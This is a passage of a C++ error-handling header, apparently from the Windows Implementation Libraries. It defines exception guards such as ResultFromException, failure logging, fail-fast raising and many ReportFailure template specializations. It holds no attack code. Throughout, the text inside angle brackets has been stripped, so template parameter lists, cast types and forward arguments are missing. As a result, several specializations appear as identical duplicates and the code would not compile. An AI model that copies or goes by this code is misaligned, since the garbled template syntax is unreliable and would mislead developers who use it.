\"Functor must return void or HRESULT\");\n typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor));\n\n return wil::details::ResultFromException(diagnostics, supported, functorObject);\n }\n\n //! A lambda-based exception guard.\n //! This overload uses SupportedExceptions::Known by default. See @ref ResultFromException for more detailed information.\n template \n __forceinline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT\n {\n return ResultFromException(diagnostics, SupportedExceptions::Known, wistd::forward(functor));\n }\n\n //! A lambda-based exception guard that does not report failures to telemetry.\n //! This function accepts a lambda as it's only parameter and executes that lambda under a try/catch(...) block.\n //! All exceptions are caught and the function returns an HRESULT mapping to the exception.\n //!\n //! This version (taking only a lambda) does not report failures to telemetry. An overload with the same name\n //! can be utilized by passing `WI_DIAGNOSTICS_INFO` as the first parameter and the lambda as the second parameter\n //! to report failure information to telemetry.\n //!\n //! See @ref page_exception_guards for more information and examples on exception guards.\n //! ~~~~\n //! hr = wil::ResultFromException([&]\n //! {\n //! // exception-based code\n //! // the conversion of exception to HRESULT doesn't report telemetry\n //! });\n //!\n //! hr = wil::ResultFromException(WI_DIAGNOSTICS_INFO, [&]\n //! {\n //! // exception-based code\n //! // telemetry is reported with full exception information\n //! });\n //! ~~~~\n //! @param functor A lambda that accepts no parameters; any return value is ignored\n //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown\n template \n inline HRESULT ResultFromException(Functor&& functor) WI_NOEXCEPT try\n {\n static_assert(details::functor_tag::value == details::tag_return_void::value, \"Functor must return void\");\n typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor));\n\n functorObject.Run();\n return S_OK;\n }\n catch (...)\n {\n return ResultFromCaughtException();\n }\n\n\n //! A lambda-based exception guard that can identify the origin of unknown exceptions and can vary the supported exception types.\n //! Functionally this is nearly identical to the corresponding @ref ResultFromException function with the exception\n //! that it utilizes structured exception handling internally to be able to terminate at the point where a unknown\n //! exception is thrown, rather than after that unknown exception has been unwound. Though less efficient, this leads\n //! to a better debugging experience when analyzing unknown exceptions.\n //!\n //! For example:\n //! ~~~~\n //! hr = wil::ResultFromExceptionDebug(WI_DIAGNOSTICS_INFO, [&]\n //! {\n //! FunctionWhichMayThrow();\n //! });\n //! ~~~~\n //! Assume FunctionWhichMayThrow() has a bug in it where it accidentally does a `throw E_INVALIDARG;`. This ends up\n //! throwing a `long` as an exception object which is not what the caller intended. The normal @ref ResultFromException\n //! would fail-fast when this is encountered, but it would do so AFTER FunctionWhichMayThrow() is already off of the\n //! stack and has been unwound. Because SEH is used for ResultFromExceptionDebug, the fail-fast occurs with everything\n //! leading up to and including the `throw INVALIDARG;` still on the stack (and easily debuggable).\n //!\n //! The penalty paid for using this, however, is efficiency. It's far less efficient as a general pattern than either\n //! using ResultFromException directly or especially using try with CATCH_ macros directly. Still it's helpful to deploy\n //! selectively to isolate issues a component may be having with unknown/unhandled exceptions.\n //!\n //! The ability to vary the SupportedExceptions that this routine provides adds the ability to track down unexpected\n //! exceptions not falling into the supported category easily through fail-fast. For example, by not supporting any\n //! exception, you can use this function to quickly add an exception guard that will fail-fast any exception at the point\n //! the exception occurs (the throw) in a codepath where the origination of unknown exceptions need to be tracked down.\n //!\n //! Also see @ref ResultFromExceptionDebugNoStdException. It functions almost identically, but also will fail-fast and stop\n //! on std::exception based exceptions (but not Platform::Exception^ or wil::ResultException). Using this can help isolate\n //! where an unexpected exception is being generated from.\n //! @param diagnostics Always pass WI_DIAGNOSTICS_INFO as the first parameter\n //! @param supported What kind of exceptions you want to support\n //! @param functor A lambda that accepts no parameters; any return value is ignored\n //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown\n template \n __forceinline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, Functor&& functor) WI_NOEXCEPT\n {\n static_assert(details::functor_tag::value == details::tag_return_void::value, \"Functor must return void\");\n typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor));\n\n return wil::details::ResultFromExceptionDebug(diagnostics, supported, functorObject);\n }\n\n //! A lambda-based exception guard that can identify the origin of unknown exceptions.\n //! This overload uses SupportedExceptions::Known by default. See @ref ResultFromExceptionDebug for more detailed information.\n template \n __forceinline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT\n {\n static_assert(details::functor_tag::value == details::tag_return_void::value, \"Functor must return void\");\n typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor));\n\n return wil::details::ResultFromExceptionDebug(diagnostics, SupportedExceptions::Known, functorObject);\n }\n\n //! A fail-fast based exception guard.\n //! Technically this is an overload of @ref ResultFromExceptionDebug that uses SupportedExceptions::None by default. Any uncaught\n //! exception that makes it back to this guard would result in a fail-fast at the point the exception is thrown.\n template \n __forceinline void FailFastException(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT\n {\n static_assert(details::functor_tag::value == details::tag_return_void::value, \"Functor must return void\");\n typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor));\n\n wil::details::ResultFromExceptionDebug(diagnostics, SupportedExceptions::None, functorObject);\n }\n\n namespace details {\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n // Exception guard -- catch exceptions and log them (or handle them with a custom callback)\n // WARNING: may throw an exception...\n inline __declspec(noinline) HRESULT RunFunctor(IFunctor& functor, IFunctorHost& host)\n {\n if (g_pfnRunFunctorWithExceptionFilter)\n {\n return g_pfnRunFunctorWithExceptionFilter(functor, host, _ReturnAddress());\n }\n\n return host.Run(functor);\n }\n\n // Returns true if a debugger should be considered to be connected.\n // Modules can force this on through setting g_fIsDebuggerPresent explicitly (useful for live debugging),\n // they can provide a callback function by setting g_pfnIsDebuggerPresent (useful for kernel debbugging),\n // and finally the user-mode check (IsDebuggerPrsent) is checked. IsDebuggerPresent is a fast call\n inline bool IsDebuggerPresent()\n {\n return g_fIsDebuggerPresent || ((g_pfnIsDebuggerPresent != nullptr) ? g_pfnIsDebuggerPresent() : (::IsDebuggerPresent() != FALSE));\n }\n\n //*****************************************************************************\n // Shared Reporting -- all reporting macros bubble up through this codepath\n //*****************************************************************************\n\n inline void LogFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message,\n bool fWantDebugString, _Out_writes_(debugStringSizeChars) _Post_z_ PWSTR debugString, _Pre_satisfies_(debugStringSizeChars > 0) size_t debugStringSizeChars,\n _Out_writes_(callContextStringSizeChars) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringSizeChars > 0) size_t callContextStringSizeChars,\n _Out_ FailureInfo *failure) WI_NOEXCEPT\n {\n debugString[0] = L'\\0';\n callContextString[0] = L'\\0';\n\n static long volatile s_failureId = 0;\n\n int failureCount = 0;\n switch (type)\n {\n case FailureType::Exception:\n failureCount = RecordException(hr);\n break;\n case FailureType::Return:\n failureCount = RecordReturn(hr);\n break;\n case FailureType::Log:\n if (SUCCEEDED(hr))\n {\n // If you hit this assert (or are reviewing this failure telemetry), then most likely you are trying to log success\n // using one of the WIL macros. Example:\n // LOG_HR(S_OK);\n // Instead, use one of the forms that conditionally logs based upon the error condition:\n // LOG_IF_FAILED(hr);\n\n WI_USAGE_ERROR_FORWARD(\"CALLER BUG: Macro usage error detected. Do not LOG_XXX success.\");\n hr = __HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE);\n }\n failureCount = RecordLog(hr);\n break;\n case FailureType::FailFast:\n failureCount = RecordFailFast(hr);\n break;\n };\n\n failure->type = type;\n failure->hr = hr;\n failure->failureId = ::InterlockedIncrementNoFence(&s_failureId);\n failure->pszMessage = ((message != nullptr) && (message[0] != L'\\0')) ? message : nullptr;\n failure->threadId = ::GetCurrentThreadId();\n failure->pszFile = fileName;\n failure->uLineNumber = lineNumber;\n failure->cFailureCount = failureCount;\n failure->pszCode = code;\n failure->pszFunction = functionName;\n failure->returnAddress = returnAddress;\n failure->callerReturnAddress = callerReturnAddress;\n failure->pszCallContext = nullptr;\n ::ZeroMemory(&failure->callContextCurrent, sizeof(failure->callContextCurrent));\n ::ZeroMemory(&failure->callContextOriginating, sizeof(failure->callContextOriginating));\n failure->pszModule = (g_pfnGetModuleName != nullptr) ? g_pfnGetModuleName() : nullptr;\n\n // Completes filling out failure, notifies thread-based callbacks and the telemetry callback\n if (details::g_pfnGetContextAndNotifyFailure)\n {\n details::g_pfnGetContextAndNotifyFailure(failure, callContextString, callContextStringSizeChars);\n }\n\n // Allow hooks to inspect the failure before acting upon it\n if (details::g_pfnLoggingCallback)\n {\n details::g_pfnLoggingCallback(*failure);\n }\n\n // If the hook is enabled then it will be given the opportunity to call RoOriginateError to greatly improve the diagnostic experience\n // for uncaught exceptions. In cases where we will be throwing a C++/CX Platform::Exception we should avoid originating because the\n // CX runtime will be doing that for us. fWantDebugString is only set to true when the caller will be throwing a Platform::Exception.\n if (details::g_pfnOriginateCallback && !fWantDebugString)\n {\n details::g_pfnOriginateCallback(*failure);\n }\n\n if (SUCCEEDED(failure->hr))\n {\n // Caller bug: Leaking a success code into a failure-only function\n FAIL_FAST_IMMEDIATE_IF(type != FailureType::FailFast);\n failure->hr = E_UNEXPECTED;\n }\n\n bool const fUseOutputDebugString = IsDebuggerPresent() && g_fResultOutputDebugString;\n\n // We need to generate the logging message if:\n // * We're logging to OutputDebugString\n // * OR the caller asked us to (generally for attaching to a C++/CX exception)\n if (fWantDebugString || fUseOutputDebugString)\n {\n // Call the logging callback (if present) to allow them to generate the debug string that will be pushed to the console\n // or the platform exception object if the caller desires it.\n if ((g_pfnResultLoggingCallback != nullptr) && !g_resultMessageCallbackSet)\n {\n g_pfnResultLoggingCallback(failure, debugString, debugStringSizeChars);\n }\n\n // The callback only optionally needs to supply the debug string -- if the callback didn't populate it, yet we still want\n // it for OutputDebugString or exception message, then generate the default string.\n if (debugString[0] == L'\\0')\n {\n GetFailureLogString(debugString, debugStringSizeChars, *failure);\n }\n\n if (fUseOutputDebugString)\n {\n ::OutputDebugStringW(debugString);\n }\n }\n else\n {\n // [deprecated behavior]\n // This callback was at one point *always* called for all failures, so we continue to call it for failures even when we don't\n // need to generate the debug string information (when the callback was supplied directly). We can avoid this if the caller\n // used the explicit function (through g_resultMessageCallbackSet)\n if ((g_pfnResultLoggingCallback != nullptr) && !g_resultMessageCallbackSet)\n {\n g_pfnResultLoggingCallback(failure, nullptr, 0);\n }\n }\n\n if (g_fBreakOnFailure && (g_pfnDebugBreak != nullptr))\n {\n g_pfnDebugBreak();\n }\n }\n\n inline RESULT_NORETURN void __stdcall WilFailFast(const wil::FailureInfo& failure)\n {\n if (g_pfnWilFailFast)\n {\n g_pfnWilFailFast(failure);\n }\n\n#ifdef RESULT_RAISE_FAST_FAIL_EXCEPTION\n // Use of this macro is an ODR violation - use the callback instead. This will be removed soon.\n RESULT_RAISE_FAST_FAIL_EXCEPTION;\n#endif\n\n // Before we fail fast in this method, give the [optional] RoFailFastWithErrorContext a try.\n if (g_pfnFailfastWithContextCallback)\n {\n g_pfnFailfastWithContextCallback(failure);\n }\n\n // parameter 0 is the !analyze code (FAST_FAIL_FATAL_APP_EXIT)\n EXCEPTION_RECORD er{};\n er.NumberParameters = 1; // default to be safe, see below\n er.ExceptionCode = static_cast(STATUS_STACK_BUFFER_OVERRUN); // 0xC0000409\n er.ExceptionFlags = EXCEPTION_NONCONTINUABLE;\n er.ExceptionInformation[0] = FAST_FAIL_FATAL_APP_EXIT; // see winnt.h, generated from minkernel\\published\\base\\ntrtl_x.w\n if (failure.returnAddress == 0) // FailureInfo does not have _ReturnAddress, have RaiseFailFastException generate it\n {\n // passing ExceptionCode 0xC0000409 and one param with FAST_FAIL_APP_EXIT will use existing\n // !analyze functionality to crawl the stack looking for the HRESULT\n // don't pass a 0 HRESULT in param 1 because that will result in worse bucketing.\n WilRaiseFailFastException(&er, nullptr, FAIL_FAST_GENERATE_EXCEPTION_ADDRESS);\n }\n else // use FailureInfo caller address\n {\n // parameter 1 is the failing HRESULT\n // parameter 2 is the line number. This is never used for bucketing (due to code churn causing re-bucketing) but is available in the dump's\n // exception record to aid in failure locality. Putting it here prevents it from being poisoned in triage dumps.\n er.NumberParameters = 3;\n er.ExceptionInformation[1] = failure.hr;\n er.ExceptionInformation[2] = failure.uLineNumber;\n er.ExceptionAddress = failure.returnAddress;\n WilRaiseFailFastException(&er, nullptr, 0 /* do not generate exception address */);\n }\n }\n\n template\n inline __declspec(noinline) void ReportFailure_Return(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options)\n {\n bool needPlatformException = ((T == FailureType::Exception) &&\n WI_IsFlagClear(options, ReportFailureOptions::MayRethrow) &&\n (g_pfnThrowPlatformException != nullptr) &&\n (g_fResultThrowPlatformException || WI_IsFlagSet(options, ReportFailureOptions::ForcePlatformException)));\n\n FailureInfo failure;\n wchar_t debugString[2048];\n char callContextString[1024];\n\n LogFailure(__R_FN_CALL_FULL, T, hr, message, needPlatformException,\n debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure);\n }\n\n template\n inline __declspec(noinline) void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options)\n {\n ReportFailure_Return(__R_FN_CALL_FULL, hr, message, options);\n }\n\n template\n inline __declspec(noinline) RESULT_NORETURN void ReportFailure_NoReturn(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options)\n {\n bool needPlatformException = ((T == FailureType::Exception) &&\n WI_IsFlagClear(options, ReportFailureOptions::MayRethrow) &&\n (g_pfnThrowPlatformException != nullptr) &&\n (g_fResultThrowPlatformException || WI_IsFlagSet(options, ReportFailureOptions::ForcePlatformException)));\n\n FailureInfo failure;\n wchar_t debugString[2048];\n char callContextString[1024];\n\n LogFailure(__R_FN_CALL_FULL, T, hr, message, needPlatformException,\n debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure);\n__WI_SUPPRESS_4127_S\n if (T == FailureType::FailFast)\n {\n WilFailFast(const_cast(failure));\n }\n else\n {\n if (needPlatformException)\n {\n g_pfnThrowPlatformException(failure, debugString);\n }\n\n if (WI_IsFlagSet(options, ReportFailureOptions::MayRethrow))\n {\n RethrowCaughtException();\n }\n\n ThrowResultException(failure);\n\n // Wil was instructed to throw, but doesn't have any capability to do so (global function pointers are not setup)\n WilFailFast(const_cast(failure));\n }\n__WI_SUPPRESS_4127_E\n }\n\n template<>\n inline __declspec(noinline) RESULT_NORETURN void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options)\n {\n ReportFailure_NoReturn(__R_FN_CALL_FULL, hr, message, options);\n }\n\n template<>\n inline __declspec(noinline) RESULT_NORETURN void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options)\n {\n ReportFailure_NoReturn(__R_FN_CALL_FULL, hr, message, options);\n }\n\n __declspec(noinline) inline void ReportFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message, ReportFailureOptions options)\n {\n switch(type)\n {\n case FailureType::Exception:\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options);\n break;\n case FailureType::FailFast:\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options);\n break;\n case FailureType::Log:\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options);\n break;\n case FailureType::Return:\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options);\n break;\n }\n }\n\n template\n inline HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported)\n {\n bool isNormalized = false;\n auto length = wcslen(debugString);\n WI_ASSERT(length < debugStringChars);\n HRESULT hr = S_OK;\n if (details::g_pfnResultFromCaughtExceptionInternal)\n {\n hr = details::g_pfnResultFromCaughtExceptionInternal(debugString + length, debugStringChars - length, &isNormalized);\n }\n\n const bool known = (FAILED(hr));\n if (!known)\n {\n hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n\n ReportFailureOptions options = ReportFailureOptions::ForcePlatformException;\n WI_SetFlagIf(options, ReportFailureOptions::MayRethrow, isNormalized);\n\n if ((supported == SupportedExceptions::None) ||\n ((supported == SupportedExceptions::Known) && !known) ||\n ((supported == SupportedExceptions::Thrown) && !isNormalized) ||\n ((supported == SupportedExceptions::Default) && !known && g_fResultFailFastUnknownExceptions))\n {\n // By default WIL will issue a fail fast for unrecognized exception types. Wil recognizes any std::exception or wil::ResultException based\n // types and Platform::Exception^, so there aren't too many valid exception types which could cause this. Those that are valid, should be handled\n // by remapping the exception callback. Those that are not valid should be found and fixed (meaningless accidents like 'throw hr;').\n // The caller may also be requesting non-default behavior to fail-fast more frequently (primarily for debugging unknown exceptions).\n ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options);\n }\n else\n {\n ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options);\n }\n\n return hr;\n }\n\n template\n inline HRESULT RESULT_NORETURN ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported)\n {\n bool isNormalized = false;\n const auto length = wcslen(debugString);\n WI_ASSERT(length < debugStringChars);\n HRESULT hr = S_OK;\n if (details::g_pfnResultFromCaughtExceptionInternal)\n {\n hr = details::g_pfnResultFromCaughtExceptionInternal(debugString + length, debugStringChars - length, &isNormalized);\n }\n\n const bool known = (FAILED(hr));\n if (!known)\n {\n hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n\n ReportFailureOptions options = ReportFailureOptions::ForcePlatformException;\n WI_SetFlagIf(options, ReportFailureOptions::MayRethrow, isNormalized);\n\n if ((supported == SupportedExceptions::None) ||\n ((supported == SupportedExceptions::Known) && !known) ||\n ((supported == SupportedExceptions::Thrown) && !isNormalized) ||\n ((supported == SupportedExceptions::Default) && !known && g_fResultFailFastUnknownExceptions))\n {\n // By default WIL will issue a fail fast for unrecognized exception types. Wil recognizes any std::exception or wil::ResultException based\n // types and Platform::Exception^, so there aren't too many valid exception types which could cause this. Those that are valid, should be handled\n // by remapping the exception callback. Those that are not valid should be found and fixed (meaningless accidents like 'throw hr;').\n // The caller may also be requesting non-default behavior to fail-fast more frequently (primarily for debugging unknown exceptions).\n ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options);\n }\n else\n {\n ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options);\n }\n\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported)\n {\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_CALL_FULL, debugString, debugStringChars, supported));\n }\n\n template<>\n inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported)\n {\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_CALL_FULL, debugString, debugStringChars, supported));\n }\n\n template\n inline void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message);\n }\n\n template<>\n inline RESULT_NORETURN void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message);\n }\n\n template<>\n inline RESULT_NORETURN void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n ReportFailure_Base(__R_FN_CALL_FULL, hr, message);\n }\n\n template \n inline void ReportFailure_ReplaceMsg(__R_FN_PARAMS_FULL, HRESULT hr, PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n }\n\n template\n __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr)\n {\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr)\n {\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr)\n {\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n }\n\n __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr)\n {\n switch(type)\n {\n case FailureType::Exception:\n ReportFailure_Hr(__R_FN_CALL_FULL, hr);\n break;\n case FailureType::FailFast:\n ReportFailure_Hr(__R_FN_CALL_FULL, hr);\n break;\n case FailureType::Log:\n ReportFailure_Hr(__R_FN_CALL_FULL, hr);\n break;\n case FailureType::Return:\n ReportFailure_Hr(__R_FN_CALL_FULL, hr);\n break;\n }\n }\n\n template\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err)\n {\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err)\n {\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err)\n {\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n __declspec(noinline) inline DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL)\n {\n const auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n return err;\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL)\n {\n const auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(err);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL)\n {\n const auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n const auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(err);\n }\n\n template\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL)\n {\n const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL)\n {\n const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL)\n {\n const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status)\n {\n const auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status)\n {\n const auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status)\n {\n const auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Base(__R_FN_CALL_FULL, hr);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n __declspec(noinline) inline HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n return ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported));\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported));\n }\n\n template\n __declspec(noinline) inline void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n }\n\n template\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n __declspec(noinline) inline DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n return err;\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n auto hr = __HRESULT_FROM_WIN32(err);\n 